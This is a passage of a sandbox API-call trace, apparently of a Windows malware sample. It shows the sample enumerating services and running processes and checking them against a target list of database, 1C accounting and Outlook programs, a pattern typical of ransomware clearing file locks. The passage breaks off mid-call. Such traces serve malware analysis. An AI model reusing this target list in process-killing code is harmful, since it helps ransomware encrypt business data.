returned 1 [0249.078] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0249.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0249.078] lstrlenW (lpString="Dhcp") returned 4 [0249.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0249.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0249.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0249.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0249.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0249.078] lstrlenW (lpString="Dnscache") returned 8 [0249.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0249.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0249.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0249.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0249.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0249.078] lstrlenW (lpString="DPS") returned 3 [0249.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0249.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0249.078] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0249.078] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0249.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0249.078] lstrlenW (lpString="eventlog") returned 8 [0249.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0249.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0249.078] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0249.078] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0249.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0249.078] lstrlenW (lpString="EventSystem") returned 11 [0249.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0249.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0249.078] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0249.078] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0249.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0249.078] lstrlenW (lpString="gpsvc") returned 5 [0249.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0249.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0249.078] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0249.078] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0249.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0249.079] lstrlenW (lpString="LanmanWorkstation") returned 17 [0249.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0249.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0249.079] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0249.079] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0249.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0249.079] lstrlenW (lpString="lmhosts") returned 7 [0249.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0249.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0249.079] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0249.079] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0249.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0249.079] lstrlenW (lpString="MMCSS") returned 5 [0249.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0249.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0249.079] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0249.079] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0249.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0249.079] lstrlenW (lpString="MpsSvc") returned 6 [0249.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0249.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0249.079] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0249.079] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0249.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0249.079] lstrlenW (lpString="NlaSvc") returned 6 [0249.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0249.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0249.079] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0249.079] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0249.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0249.079] lstrlenW (lpString="nsi") returned 3 [0249.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0249.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0249.079] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0249.079] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0249.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0249.080] lstrlenW (lpString="PcaSvc") returned 6 [0249.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0249.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0249.080] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0249.080] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0249.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0249.080] lstrlenW (lpString="PlugPlay") returned 8 [0249.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0249.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0249.080] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0249.080] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0249.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0249.080] lstrlenW (lpString="Power") returned 5 [0249.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0249.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0249.080] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0249.080] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0249.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0249.080] lstrlenW (lpString="ProfSvc") returned 7 [0249.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0249.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0249.080] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0249.080] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0249.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0249.080] lstrlenW (lpString="RpcEptMapper") returned 12 [0249.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0249.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0249.080] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0249.080] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0249.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0249.080] lstrlenW (lpString="RpcSs") returned 5 [0249.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0249.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0249.080] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0249.080] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0249.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0249.080] lstrlenW (lpString="SamSs") returned 5 [0249.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0249.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0249.081] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0249.081] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0249.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0249.081] lstrlenW (lpString="Schedule") returned 8 [0249.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0249.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0249.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0249.081] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0249.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0249.081] lstrlenW (lpString="SENS") returned 4 [0249.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0249.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0249.081] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0249.081] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0249.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0249.081] lstrlenW (lpString="ShellHWDetection") returned 16 [0249.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0249.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0249.081] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0249.081] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0249.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0249.081] lstrlenW (lpString="Spooler") returned 7 [0249.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0249.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0249.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0249.081] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0249.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0249.081] lstrlenW (lpString="SysMain") returned 7 [0249.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0249.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0249.081] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0249.081] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0249.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0249.081] lstrlenW (lpString="Themes") returned 6 [0249.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0249.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0249.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0249.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0249.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0249.082] lstrlenW (lpString="TrkWks") returned 6 [0249.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0249.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0249.082] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0249.082] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0249.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0249.082] lstrlenW (lpString="UxSms") returned 5 [0249.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0249.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0249.082] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0249.082] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0249.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0249.082] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0249.082] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ac [0249.084] Process32FirstW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.084] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.084] lstrlenW (lpString="System") returned 6 [0249.084] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0249.084] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0249.084] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0249.084] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0249.084] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0249.084] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0249.084] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0249.084] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.085] lstrlenW (lpString="smss.exe") returned 8 [0249.085] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0249.085] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0249.085] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0249.085] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0249.085] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0249.085] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0249.085] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0249.085] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.085] lstrlenW (lpString="csrss.exe") returned 9 [0249.085] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0249.085] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0249.085] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0249.085] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0249.085] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0249.085] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0249.085] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0249.085] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.086] lstrlenW (lpString="wininit.exe") returned 11 [0249.086] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0249.086] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0249.086] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0249.086] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0249.086] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0249.086] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0249.086] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0249.086] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.086] lstrlenW (lpString="csrss.exe") returned 9 [0249.086] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0249.086] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0249.086] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0249.086] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0249.086] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0249.086] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0249.086] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0249.086] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.086] lstrlenW (lpString="winlogon.exe") returned 12 [0249.086] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0249.086] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0249.086] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0249.087] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0249.087] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0249.087] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0249.087] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0249.087] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.087] lstrlenW (lpString="services.exe") returned 12 [0249.087] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0249.087] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0249.087] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0249.087] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0249.087] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0249.087] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0249.087] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0249.087] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.087] lstrlenW (lpString="lsass.exe") returned 9 [0249.087] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0249.087] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0249.087] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0249.087] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0249.088] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0249.088] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0249.088] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0249.088] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0249.088] lstrlenW (lpString="lsm.exe") returned 7 [0249.088] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0249.088] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0249.088] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0249.088] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0249.088] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0249.088] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0249.088] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0249.088] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.088] lstrlenW (lpString="svchost.exe") returned 11 [0249.088] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0249.088] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0249.088] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0249.088] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0249.088] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0249.088] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0249.089] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.089] lstrlenW (lpString="svchost.exe") returned 11 [0249.089] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0249.089] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.089] lstrlenW (lpString="svchost.exe") returned 11 [0249.089] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0249.089] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0249.089] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.090] lstrlenW (lpString="svchost.exe") returned 11 [0249.090] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.090] lstrlenW (lpString="svchost.exe") returned 11 [0249.090] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.090] lstrlenW (lpString="audiodg.exe") returned 11 [0249.090] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.091] lstrlenW (lpString="svchost.exe") returned 11 [0249.091] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.091] lstrlenW (lpString="svchost.exe") returned 11 [0249.091] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0249.091] lstrlenW (lpString="userinit.exe") returned 12 [0249.091] Process32NextW (in: 